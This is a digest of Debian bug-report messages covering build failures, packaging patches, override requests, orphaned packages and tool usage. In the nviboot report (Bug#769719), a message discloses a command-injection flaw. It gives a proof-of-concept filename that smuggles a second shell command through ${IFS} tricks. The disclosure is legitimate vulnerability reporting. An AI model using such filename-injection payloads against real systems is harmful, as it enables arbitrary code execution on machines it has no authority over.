[INFO] 
[INFO] 
[INFO] Reactor Summary:
[INFO] 
[INFO] Parent :: Plexus Containers  SUCCESS [  1.047 s]
[INFO] Plexus :: Component Annotations  SUCCESS [  3.817 s]
[INFO] Plexus :: Default Container  FAILURE [  1.620 s]
[INFO] 
[INFO] BUILD FAILURE
[INFO] 
[INFO] Total time: 6.915 s
[INFO] Finished at: 2017-11-02T20:56:22-12:00
[INFO] Final Memory: 24M/667M
[INFO] 
[ERROR] Failed to execute goal 
org.apache.maven.plugins:maven-compiler-plugin:3.6.2:compile (default-compile) 
on project plexus-container-default: Compilation failure: Compilation failure: 
[ERROR] 
/build/1st/plexus-containers-1.0~beta3.0.7/plexus-container-default/src/main/java/org/codehaus/plexus/component/repository/ComponentDescriptor.java:[192,44]
 incompatible types: java.lang.Class cannot be converted to 
java.lang.Class
[ERROR] 
/build/1st/plexus-containers-1.0~beta3.0.7/plexus-container-default/src/main/java/org/codehaus/plexus/component/repository/ComponentDescriptor.java:[302,54]
 incompatible types: java.lang.Class cannot be converted to 
java.lang.Class
[ERROR] -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e 
switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please 
read the following articles:
[ERROR] [Help 1] 
http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException
[ERROR] 
[ERROR] After correcting the problems, you can resume the build with the command
[ERROR]   mvn  -rf :plexus-container-default
dh_auto_build: /usr/lib/jvm/default-java/bin/java -noverify -cp 
/usr/share/maven/boot/plexus-classworlds-2.x.jar:/usr/lib/jvm/default-java/lib/tools.jar
 -Dmaven.home=/usr/share/maven 
-Dmaven.multiModuleProjectDirectory=/build/1st/plexus-containers-1.0\~beta3.0.7 
-Dclassworlds.conf=/etc/maven/m2-debian.conf 
org.codehaus.plexus.classworlds.launcher.Launcher 
-s/etc/maven/settings-debian.xml 
-Ddebian.dir=/build/1st/plexus-containers-1.0\~beta3.0.7/debian 
-Dmaven.repo.local=/build/1st/plexus-containers-1.0\~beta3.0.7/debian/maven-repo
 --batch-mode package javadoc:jar javadoc:aggregate -DskipTests 
-Dnotimestamp=true -Dlocale=en_US returned exit code 1
debian/rules:12: recipe for target 'override_dh_auto_build' failed
make[1]: *** [override_dh_auto_build] Error 2

Bug#880828: safeeyes FTBFS with python 3.6 as default

[Adrian Bunk]

Source: safeeyes
Version: 2.0.0-1
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/safeeyes.html

...
dh_auto_clean
E: Please add apropriate interpreter package to Build-Depends, see pybuild(1) 
for details at /usr/share/perl5/Debian/Debhelper/Buildsystem/pybuild.pm line 
199.
debian/rules:11: recipe for target 'override_dh_auto_clean' failed
make[1]: *** [override_dh_auto_clean] Error 25

Bug#769719: nviboot fails to send recovery mail

[Jakub Wilk]

Control: tags -1 + security

* Adam M. Costello , 2014-11-15, 20:47:

(su - nobody -s /bin/sh -c "$SENDMAIL $owner < $i" &) /dev/null 2>&0


Note that "$i" is a name of a file any user can create. This allows 
executing arbitrary code as user "nobody".


PoC exploit:

$ echo 'X-vi-recover-path: /etc/fstab' > 
'/var/tmp/vi.recover/recover.moo;z=$(pwd|head${IFS}-c1);apt-get${IFS}moo>${z}tmp${z}pwned'

--
Jakub Wilk

Bug#880796: debmirror: arches="i386,amd64(-wheezy)"; combination drops amd64 package manifests for other dists

[Colin Watson]

Control: retitle -1 debmirror: ability to specify architectures to mirror per 
suite
Control: severity -1 wishlist

On Sat, Nov 04, 2017 at 05:30:03PM -0300, Joel Maxuel wrote:
> I am setting up a mirror on a system in an area with very limited internet
> access, to deploy Wheezy i386, Stretch i386 or Stretch amd64 (depending on
> the hardware capability) on several older machines.
> 
> As I did not see the need to mirror Wheezy amd64, I used the line
> @arches="i386,amd64(-wheezy)"; in my debmirror.conf file.

I'm not sure where you found this syntax, but as far as I can see it's
nowhere in the debmirror documentation, and it'd simply mean "mirror the
architectures called 'i386' and 'amd64(-wheezy)'".  Since there's no
architecture called 'amd64(-wheezy)', you get the behaviour you
observed.

I'm therefore turning this bug into a feature request for the ability to
do what you're asking for here (probably not with exactly that syntax),
since as far as I know it's simply not possible with debmirror today.
(It might be possible with multiple runs on a shared directory and a
great deal of care, but I don't see how you'd be able to do cleanup in a
sensible way, at least not without reimplementing that part.)

-- 
Colin Watson   [cjwat...@debian.org]

Bug#880827: roundcube: please make the build reproducible

[Chris Lamb]

Source: roundcube
Version: 1.3.1+dfsg.1-1
Severity: wishlist
Tags: patch
User: reproducible-bui...@lists.alioth.debian.org
Usertags: timestamps
X-Debbugs-Cc: reproducible-b...@lists.alioth.debian.org

Hi,

Whilst working on the Reproducible Builds effort [0], we noticed
that roundcube could not be built reproducibly.

This is because it extracts zipfiles as part of the build in
debian/install-jsdeps.sh which need normalising.

Patch attached.

 [0] https://reproducible-builds.org/


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-
--- a/debian/rules  2017-11-04 20:51:52.586393773 +
--- b/debian/rules  2017-11-04 22:07:24.745642529 +
@@ -31,6 +31,10 @@
yui-compressor --type js "$$js" -o "$${js%.*}.min.js" ; \
done
 
+   # Dont encode timezones, etc.
+   find 
"$(CURDIR)"/debian/roundcube-core/usr/share/roundcube/program/js/tinymce/ 
-print0 | \
+   xargs -0r touch --no-dereference --date="@$(SOURCE_DATE_EPOCH)"
+
# Plugins are in usr/share/roundcube/plugins, for each plugin
# if there is config.inc.php.dist, we symlink a config.inc.php
# in /etc/roundcube/plugins with some dummy content.

Bug#825864: sedutil should be considered basic and somewhat essential

[Anonymous]

Package: wnpp
Followup-For: Bug #825864
control: tags 825864 stretch security

I'm wondering why the lack of action on this.. should this bug have
been sent to the sponsorship-requests instead, perhaps?

I was half-tempted to elevate the severity to important, b/c it is a
security issue to be unable to lock and unlock hard drives.  I think
it should possibly be considered more important than having Donkey
Kong installed, for example.

Bug#870669: libidn: Make source package bootstrappable

[Manuel A. Fernandez Montecelo]

Hi,

2017-09-13 14:19 Helmut Grohne:

retitle 870669 move gcj-jdk from Build-Depends to Build-Depends-Indep
tags 870669 + patch
severity 870669 normal
user helm...@debian.org
usertags 870669 + rebootstrap
thanks

On Thu, Aug 03, 2017 at 03:14:48PM -0700, Daniel Schepler wrote:

It would be nice if the Build-Depends on gcj-jdk could be moved to
Build-Depends-Indep.  (I did recently see notifications that gcj will
be going away in Debian soon.  But even if you switch over to using
default-jdk, that would still create a build dependency cycle since
openjdk-8 Build-Depends on libcups2-dev also.)


I second that. The gcj-jdk dependency also breaks cross compilation and
moving it to Build-Depends-Indep significantly simplifies debian/rules
as the attached patch demonstrates. In particular, it removes all those
different(!) architecture lists.


Since libidn is a very important package for bootstrapping, it would be
very nice to fix this.

The patch seems a net improvement to the package, even in the absence of
other benefits.

Would it be possible to include it in future uploads, or is there any
reason against including it, from the maintainers point of view?



Though I'd much rather see libidn go. Most rdeps but hesiod have moved
on to libidn2-0.


Since it's unlikely to happen very soon (from a comment by upstream in
this report), I think that it shouldn't stop this being applied.


Cheers.
--
Manuel A. Fernandez Montecelo 

Bug#880746: Pending fixes for bugs in the libmetadata-extractor-java package

[pkg-java-maintainers]

tag 880746 + pending
thanks

Some bugs in the libmetadata-extractor-java package are closed in
revision 817c7605b14cd176cd8d7337195c5f995bc02151 in branch 'master'
by Markus Koschany

The full diff can be seen at
https://anonscm.debian.org/cgit/pkg-java/libmetadata-extractor-java.git/commit/?id=817c760

Commit message:

Use javahelper to fix the Class-Path attribute for xmpcore.jar.

Thanks: Bas Couwenberg for the report and patch.
Closes: #880746

Bug#880802: No documented way to pass a command into cowbuilder execute

[Russ Allbery]

Thorsten Glaser  writes:
> Mattia Rizzolo dixit:
>> On Sat, Nov 04, 2017 at 01:45:59PM -0700, Russ Allbery wrote:

>> executable (be it binary or script), copy it inside the chroot, and
>> execute it.

Where do you pass the name of the executable, though?  I never got an
error message that seemed to indicate I had successfully done such a
thing.  Either cowbuilder reported that I didn't pass in a valid argument
for --execute or it produced an error saying that the argument I did pass
in was an invalid argument.

> So Russ probably wants this:

> echo apt update | cowbuilder \
> --basepath /var/cache/pbuilder/base-experimental.cow \
> --login --save-after-login

Oh, I had forgotten about --save-after-login.  Thank you!

> In this specific case, though:

> cowbuilder --basepath /var/cache/pbuilder/base-experimental.cow --update

I was debugging why the chroot failed to update with an obscure apt error
and was trying to incrementally update some of the packages, which is why
I was going down the path of trying to run commands with preserved results
instead of just using --update.

Thanks!  --save-after-login was the real solution to my problem, but I
suspect that --execute doesn't really work with the cowbuilder wrapper (or
I missed some iteration of call sequence to try).

-- 
Russ Allbery (r...@debian.org)   

Bug#880746: libmetadata-extractor-java: Manifest references xmpcore-debian.jar, but libxmpcore-java does not provide this file.

[Markus Koschany]

Control: tags -1 pending confirmed

Hi,
thanks for reporting. I will use javahelper to correct the Class-Path
attribute as you have suggested. I didn't use the verbose mode of
jh_classpath though. By the way it is also possible to use a
override_jh_classpath.

The root cause of this problem is in pom.xml. The maven-jar-plugin is
configured to set the classpath automatically with

true

By default it is assumed that all jars are in the same directory. This
is another good example why relative classpaths suck in the context of
Debian Java packaging. Instead of using javahelper we could also modify
the pom.xml and configure the maven-jar-plugin to use a custom Class-Path

https://maven.apache.org/shared/maven-archiver/examples/classpath.html#Custom

However I agree that it is simpler to use javahelper and avoid the patch
which is not needed upstream. Have a nice weekend

Cheers,

Markus



signature.asc
Description: OpenPGP digital signature

Bug#880826: RFP: firebird-emu -- Third-party emulator of the ARM-based TI-Nspire calculators

[Legimet]

Package: wnpp
Severity: wishlist

* Package name: firebird-emu
  Version : 1.4
  Upstream Author : Fabian Vogt, Goplat, and others
* URL : https://github.com/nspire-emus/firebird
* License : GPL
  Programming Lang: C, C++, Assembly
  Description : Third-party emulator of the ARM-based TI-Nspire 
calculators

This project is currently the community TI-Nspire emulator, originally
created by Goplat. It supports the emulation of Touchpad, CX and CX CAS
calculators on Android, iOS, Linux, Mac and Windows.

Bug#880631: Package needs to be upgraded

[Heiko Stuebner]

Hi,

Am Donnerstag, 2. November 2017, 20:08:21 CET schrieben Sie:
> Package: libnl-route-3-dev
> Version: 3.2.24-2
> 
> The package libnl3 is out of date, and generates errors when compiling
> with -Werror, like below:
> 
> warning: passing argument 1 of ‘nl_addr2str’ makes pointer from
> integer without a cast [enabled by default]
> In file included from /usr/include/libnl3/netlink/attr.h:17:0,
>  from /usr/include/libnl3/netlink/msg.h:17,
> /usr/include/libnl3/netlink/addr.h:60:16: note: expected ‘struct
> nl_addr *’ but argument is of type ‘int’
> 
> In addition, it lacks some new features. The upstream has moved to
> github: https://github.com/thom311/libnl. I suggest upgrading to
> version 3.4.0, or 3.3.0.

Thanks for the push. I'm currently working on the upgrade and hope
to have something at the beginning of next week or so.


Heiko

Bug#880638: release-notes: Document apt sandbox support [buster]

[Julian Andres Klode]

On Sat, Nov 04, 2017 at 06:23:00AM +, Niels Thykier wrote:
> Joost van Baal-Ilić:
> > Hi Niels,
> > 
> > Thanks for your bugreport!
> > 
> 
> Hi, :)
> 
> > On Fri, Nov 03, 2017 at 07:37:12AM +0100, Niels Thykier wrote:
> >> Package: release-notes
> >> Severity: wishlist
> >>
> >> --- News for apt (libapt-pkg5.0 libapt-inst2.0) ---
> >> apt (1.6~alpha1) unstable; urgency=medium
> >>
> >>   All methods provided by apt except for cdrom, gpgv, and rsh now
> >>   use seccomp-BPF sandboxing to restrict the list of allowed system
> >>   calls, and trap all others with a SIGSYS signal. Three options
> >>   can be used to configure this further:
> >>
> >> APT::Sandbox::Seccomp is a boolean to turn it on/off
> >> APT::Sandbox::Seccomp::Trap is a list of names of more syscalls to trap
> >> APT::Sandbox::Seccomp::Allow is a list of names of more syscalls to 
> >> allow
> >>
> >>   Also, sandboxing is now enabled for the mirror method.
> >>
> >>  -- Julian Andres Klode   Mon, 23 Oct 2017 01:58:18 +0200
> >>
> >> Seems like it would be prudent to mention that in the release-notes
> >> for buster.
> > 
> > 
> > Are https and debtorrent "methods provided by apt", or are these methods
> > shipped in other optional packages and not yet sandboxed?
> > 
> 
> The https method is (now) provided directly by apt and is covered by the
> sandboxing (implementation-detail: It is in fact the same binary as the
> "http" method).
> 
> As for debtorrent: I /think/ it is a "third-party" method (from apt's
> PoV) and therefore not covered by the built-in rules.  CC'ing deity to
> confirm that.

That's correct.

> 
> > Is the mirror method now using the same sandboxing implementation?
> > 
> 
> That is my understanding.
> 
> > The text could be more clear; for some answers to these questions a proposed
> > enhanced text is:
> > 
> >  All methods provided by apt (e.g. http, https, debtorrent, ...) except for
> >  cdrom, gpgv, and rsh now use seccomp-BPF sandboxing as supplied by the 
> > Linux
> >  kernel to restrict the list of allowed system calls, and trap all others 
> > with a
> >  SIGSYS signal.
> >  [...]
> > 
> >  Also, this sandboxing is now enabled for the mirror method.
> > 
> > 
> > Bye,
> > 
> > Joost
> > 
> 
> As per above, I think it need a s/debtorrent, //.
> 
> I was also wondering whether we should document it in "whats-new" or
> "issues".  The latter clearly makes sense as it can cause issues that
> people need to know how to solve.  On the other side, I think it would
> be nice to document that apt has been hardened even further (and that,
> IMO, would fit "Whats new" better than "Issues").

Why not just both? Add it to what's new and add a link to issues saying
"also the new sandboxing features in apt might cause some issues."

-- 
Debian Developer - deb.li/jak | jak-linux.org - free software dev
Ubuntu Core Developer  de, en speaker

Bug#880825: ITP: libkcapi -- Linux Kernel Crypto API User Space Interface Library

[Mathieu Malaterre]

Package: wnpp
Severity: wishlist
Owner: Mathieu Malaterre 

* Package name: libkcapi
  Version : 1.0.0
  Upstream Author : Stephan Mueller 
* URL : http://www.chronox.de/libkcapi.html
* License : BSD
  Programming Lang: C
  Description : Linux Kernel Crypto API User Space Interface Library

 The Linux kernel exports a Netlink interface of type AF_ALG to allow user
 space to utilize the kernel crypto API. libkcapi uses this Netlink interface
 and exports easy to use APIs so that a developer does not need to consider the
 low-level Netlink interface handling.
 .
 The library does not implement any cipher algorithms. All consumer requests
 are sent to the kernel for processing. Results from the kernel crypto API
 are returned to the consumer via the library API.
 .
 The kernel interface and therefore this library can be used by unprivileged
 processes.

Bug#880802: No documented way to pass a command into cowbuilder execute

[Thorsten Glaser]

Mattia Rizzolo dixit:

>On Sat, Nov 04, 2017 at 01:45:59PM -0700, Russ Allbery wrote:
>> The cowbuilder man page claims to support an execute operation, but I
>> cannot figure out how to pass in the command and there's no example.
>
>Assuming that it is like pbuilder, what 'execute' does is getting an

Most cowbuilder commands just call the corresponding pbuilder one.
This *is* badly documented in cowbuilder, admittedly.

>executable (be it binary or script), copy it inside the chroot, and
>execute it.

So Russ probably wants this:

echo apt update | cowbuilder \
--basepath /var/cache/pbuilder/base-experimental.cow \
--login --save-after-login

In this specific case, though:

cowbuilder --basepath /var/cache/pbuilder/base-experimental.cow --update

bye,
//mirabilos
-- 
Support mksh as /bin/sh and RoQA dash NOW!
‣ src:bash (358 (380) bugs: 1 RC, 246 (262) I, 111 (117) M, 0 F)
‣ src:dash (111 (130) bugs: 0 RC, 62 (68) I, 49 (62) M, 0 F)
‣ src:mksh (0 bugs: 0 RC, 0 I, 0 M, 0 F)
dash has two RC bugs they just closed because they don’t care about quality…

Bug#880824: override: libk3b6-extracodecs:kde/optional

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these kde packages.

Thanks,
Guillem

Bug#880696: debian-refcard: Debian Reference Card translation to russian contains errors in command definitions

[Holger Wansing]

Control: retitle -1 debian-refcard: PDFs have various problems (layout broken, 
missing spaces or line breaks ...)
Control: found -1 10.0


Baptiste Jammet  wrote:
> Control: tag -1 patch
> 
> Hello, 
> 
> Dixit Alex, le 03/11/2017 :
> 
> >>move command is spelled "mv file1file2"
> >>no whitespace between "file1" and "file2".  
> 
> >I double checked and found that the part above is also the issue for
> >the original english version.
> 
> This seems to be due to " ". Maybe this was useful
> for some old build engine?
> 
> Attached patch remove it, and take care of translations.
> As fr & es should shorter the word used for "file" to be displayed, I
> corrected this too.

The reported issues are not to be corrected in the english dbk files or in
the po files.
In the stretch version (9.0.4) of the package, everything is fine. So
the reason for those issues is somewhere in the build chain of the pdfs.

In fact, it's not only russian and french versions which have problems,
but all languages!

I will leave this bug open as a reminder for later, when buster settles down 
a bit ...


Thanks for reporting anyway!


Holger

Bug#842848: http-parser FTCBFS: uses build architecture compiler

[Manuel A. Fernandez Montecelo]

Control: fixed -1 http-parser/2.1-2.1
Control: close -1

Closing by hand, as I missed the ":" when closing in d/changelog


2016-11-01 19:09 Helmut Grohne:

Source: http-parser
Version: 2.1-2
Tags: patch
User: helm...@debian.org
Usertags: rebootstrap

http-parser fails to cross build from source, because it uses the build
architecture compiler (which is make's default). To cross build one needs
to pass triplet-prefixed compilers into make. Thankfully, recent
debhelper learned to do just that, so replacing the explicit make
invocations with dh_auto_build makes cross builds succeed. Please
consider applying the attached patch.

Helmut



diff --minimal -Nru http-parser-2.1/debian/changelog 
http-parser-2.1/debian/changelog
--- http-parser-2.1/debian/changelog2013-09-24 00:29:13.0 +0200
+++ http-parser-2.1/debian/changelog2016-11-01 19:03:36.0 +0100
@@ -1,3 +1,10 @@
+http-parser (2.1-2.1) UNRELEASED; urgency=medium
+
+  * Non-maintainer upload.
+  * Fix FTCBFS: Let dh_auto_build pass cross flags. (Closes #-1)
+
+ -- Helmut Grohne   Tue, 01 Nov 2016 19:03:22 +0100
+
http-parser (2.1-2) unstable; urgency=low

  * Team upload.
diff --minimal -Nru http-parser-2.1/debian/rules http-parser-2.1/debian/rules
--- http-parser-2.1/debian/rules2013-09-23 23:59:46.0 +0200
+++ http-parser-2.1/debian/rules2016-11-01 19:03:20.0 +0100
@@ -11,8 +11,8 @@
dh $@

override_dh_auto_build:
-   make package
-   make library
+   dh_auto_build -- package
+   dh_auto_build -- library

override_dh_makeshlibs:
dh_makeshlibs -V 'libhttp-parser2.1 (>=2.1)'



--
Manuel A. Fernandez Montecelo 

Bug#880823: override: akonadi-contacts-data:kde/optional, akonadi-mime-data:kde/optional, frameworkintegration:kde/optional, kded5:kde/optional, kdelibs-bin:kde/optional, kdelibs5-data:kde/optional, k

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these kde packages.

Thanks,
Guillem

Bug#880822: override: node-vinyl-sourcemaps-apply:javascript/optional, node-vm-browserify:javascript/optional, node-vue-style-loader:javascript/optional, node-watchpack:javascript/optional, node-webpa

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these javascript (node.js) packages.

Thanks,
Guillem

Bug#880818: override: node-pbkdf2:javascript/optional, node-performance-now:javascript/optional, node-platform:javascript/optional, node-plur:javascript/optional, node-prepend-http:javascript/optional

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these javascript (node.js) packages.

Thanks,
Guillem

Bug#880820: override: node-sntp:javascript/optional, node-source-list-map:javascript/optional, node-split2:javascript/optional, node-sshpk:javascript/optional, node-static-eval:javascript/optional, no

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these javascript (node.js) packages.

Thanks,
Guillem

Bug#880819: override: node-regenerate-unicode-properties:javascript/optional, node-regexpu-core:javascript/optional, node-reinterval:javascript/optional, node-require-inject:javascript/optional, node-

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these javascript (node.js) packages.

Thanks,
Guillem

Bug#880821: override: node-text-table:javascript/optional, node-time-zone:javascript/optional, node-timers-browserify:javascript/optional, node-to-arraybuffer:javascript/optional, node-tough-cookie:ja

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these javascript (node.js) packages.

Thanks,
Guillem

Bug#880813: override: node-enhanced-resolve:javascript/optional, node-errno:javascript/optional, node-es5-ext:javascript/optional, node-es6-iterator:javascript/optional, node-es6-map:javascript/option

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these javascript (node.js) packages.

Thanks,
Guillem

Bug#880814: override: node-gauge:javascript/optional, node-genfun:javascript/optional, node-getpass:javascript/optional, node-gulp-coffee:javascript/optional, node-gulp-concat:javascript/optional, nod

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these javascript (node.js) packages.

Thanks,
Guillem

Bug#880815: override: node-hoek:javascript/optional, node-htmlescape:javascript/optional, node-http-errors:javascript/optional, node-http-signature:javascript/optional, node-https-browserify:javascrip

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these javascript (node.js) packages.

Thanks,
Guillem

Bug#880809: override: node-acorn-dynamic-import:javascript/optional, node-acorn-jsx:javascript/optional, node-ajv:javascript/optional, node-ajv-keywords:javascript/optional, node-ansistyles:javascript

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these javascript (node.js) packages.

Thanks,
Guillem

Bug#880817: override: node-minimalistic-assert:javascript/optional, node-minimalistic-crypto-utils:javascript/optional, node-mousetrap:javascript/optional, node-mqtt-packet:javascript/optional, node-o

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these javascript (node.js) packages.

Thanks,
Guillem

Bug#880816: override: node-is-reference:javascript/optional, node-jed:javascript/optional, node-jsbn:javascript/optional, node-json-loader:javascript/optional, node-json-schema:javascript/optional, no

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these javascript (node.js) packages.

Thanks,
Guillem

Bug#880810: override: node-bn.js:javascript/optional, node-boom:javascript/optional, node-bootstrap-sass:javascript/optional, node-brfs:javascript/optional, node-brorand:javascript/optional, node-brow

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these javascript (node.js) packages.

Thanks,
Guillem

Bug#880812: override: node-cyclist:javascript/optional, node-d:javascript/optional, node-dargs:javascript/optional, node-dashdash:javascript/optional, node-date-now:javascript/optional, node-de-indent

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these javascript (node.js) packages.

Thanks,
Guillem

Bug#880811: override: node-caller:javascript/optional, node-caseless:javascript/optional, node-check-error:javascript/optional, node-chokidar:javascript/optional, node-cipher-base:javascript/optional,

[Guillem Jover]

Package: ftp.debian.org
Severity: wishlist
User: ftp.debian@packages.debian.org
Usertags: override
User: guardi...@namespace.hadrons.org
Usertags: sectionspace-rift

Hi!

Please update the overrides for these javascript (node.js) packages.

Thanks,
Guillem

Bug#880808: O: netstress -- utility designed to stress and benchmark network activity

[Giovani Augusto Ferreira]

Package: wnpp
Severity: normal

I intend to orphan the netstress package.

The package description is:
 Client/server utility designed to stress & benchmark network activity of
 a given ethernet device or path using simulated (random) real world data
 and packet sizes instead of fixed data and packet sizes.
 .
 Easily command line usage with random packets sizes and random data for
 read, write, or read & write (default) testing and reporting benchmark
 results from the ethernet device.

If you want to be the new maintainer, please see
https://www.debian.org/devel/wnpp/#howto-o for detailed
instructions how to adopt a package properly.

Regards,

Giovani

Bug#880807: O: djagios -- tool to help configure nagios written in Django

[Giovani Augusto Ferreira]

Package: wnpp
Severity: normal

I intend to orphan the djagios package.

The package description is:
 Djagios is an open source Nagios web based configuration tool with a complete
 Python Nagios API.
 .
 The main goal of the tool was to make Nagios usable for non-Nagios admins.
 The initial install and configuration would have to be done by Nagios
 administrators. But once done ordinary users can add servers, appliances,
 devices, services themselves.

If you want to be the new maintainer, please see
https://www.debian.org/devel/wnpp/#howto-o for detailed
instructions how to adopt a package properly.

Regards,

Giovani

Bug#880802: No documented way to pass a command into cowbuilder execute

[Mattia Rizzolo]

On Sat, Nov 04, 2017 at 01:45:59PM -0700, Russ Allbery wrote:
> The cowbuilder man page claims to support an execute operation, but I
> cannot figure out how to pass in the command and there's no example.

Assuming that it is like pbuilder, what 'execute' does is getting an
executable (be it binary or script), copy it inside the chroot, and
execute it.

-- 
regards,
Mattia Rizzolo

GPG Key: 66AE 2B4A FCCF 3F52 DA18  4D18 4B04 3FCD B944 4540  .''`.
more about me:  https://mapreri.org : :'  :
Launchpad user: https://launchpad.net/~mapreri  `. `'`
Debian QA page: https://qa.debian.org/developer.php?login=mattia  `-


signature.asc
Description: PGP signature

Bug#880806: O: clitest -- performs automatic testing in command lines

[Giovani Augusto Ferreira]

Package: wnpp
Severity: normal

I intend to orphan the clitest package.

The package description is:
 Clitest is a portable POSIX shell script that performs automatic
 testing in Unix command lines. This script was carefully coded to
 be portable between POSIX shells.
 .
 It's the same concept as in Python's doctest module: you document
 both the commands and their expected output, using the familiar
 interactive prompt format, and a specialized tool tests them.
 .
 The clitest command searches for pieces of text that look like
 interactive Unix command lines, and then executes those command
 lines to verify that they work exactly as shown.

If you want to be the new maintainer, please see
https://www.debian.org/devel/wnpp/#howto-o for detailed
instructions how to adopt a package properly.

Regards,

Giovani

Bug#875928: security update: ruby2.3

[Salvatore Bonaccorso]

Hi Antonio

Sorry for the late reply

On Mon, Oct 23, 2017 at 11:49:28AM -0200, Antonio Terceiro wrote:
> Hi security team,
> 
> I have prepared a security update for ruby2.3.
> 
> It includes all the pending recent CVE's, plus a fix for a bug that
> causes runaway child processes hogging the CPU, noticed at least in
> puppet.

For the later one, not directly a security issue, strictly speaking we
would need an ack from the SRM to see they would ack it to a point
release and then we can pick it as well for a security update. The
patch though looks confined enough that I would trust it's okay as
well for SRM to see it included (Cc'ed explicity Adam).

> The test suite still passes both during build, and under autopkgtest. I
> am running these packages on my workstation since yesterday. The patches
> are targeted enough that I don't expect any regressions.
> 
> As I explained before, unfortunately the patch management for ruby2.3 is
> not optimal, so I attach both the debdiff and the individual patches
> that I applied to the git repository. The later will make your review
> work easier.
> 
> You can also inspect the git repository:
> https://anonscm.debian.org/cgit/collab-maint/ruby.git/log/?h=debian/stretch

Yes thank you. Please go ahead with the upload to security-master
(unless you in meanwhile have found any regression caused by the
update on your workstation).

Regards,
Salvatore


signature.asc
Description: PGP signature

Bug#880805: pbseqlib: please support HDF5 1.10.1

[Gilles Filippini]

Source: pbseqlib
Version: 0~20161219-1
Severity: normal
Tags: patch

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Hi,

HDF5 1.10.1 - currently in experimental - introduces non backward compatible
changes in its C++ API, making pbseqlib FTBFS. Please find attached a patch
which support both HDF5 1.10.0 and 1.10.1.

Thanks,

_g.


- -- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.13.0-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), 
LANGUAGE=fr_FR.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

-BEGIN PGP SIGNATURE-

iQEzBAEBCAAdFiEEoJObzArDE05WtIyR7+hsbH/+z4MFAln+K6YACgkQ7+hsbH/+
z4Mc+gf+OIHBUnTS9HegsJVNIk5A7OO59Y5IzRnJd0/9scEo2wBCk7/lSiCD/Pw5
NS928v8IXXSEqOsNG+nMYmjHts7BD5oBR9vPudJvmXgPpKrM9CssYi6B5Pou89+i
4xS4bxxFAavjVEF+O+mtFBCi6xl3bUI/7vaTK/221nKC5lr0LTPM1KPFkSOWYI71
QGRYRrDT2OsoitiUdiBmCLE4tV0Hrd8p/pVy0cnHE1U3d2aSKsUPPGwWsOPh7cCj
GzcLuZy4/vuz+FuJBBgPBUt5tPXSBwD+8/faYLdxDQDBBWrR642n4ndxZxOmpRpT
jru6BHtoY0LOuLO/5sI62bDFFVsAZg==
=co+D
-END PGP SIGNATURE-
diff -Nru pbseqlib-0~20161219/debian/changelog 
pbseqlib-0~20161219/debian/changelog
--- pbseqlib-0~20161219/debian/changelog2016-12-20 09:56:22.0 
+0100
+++ pbseqlib-0~20161219/debian/changelog2017-11-04 18:54:19.0 
+0100
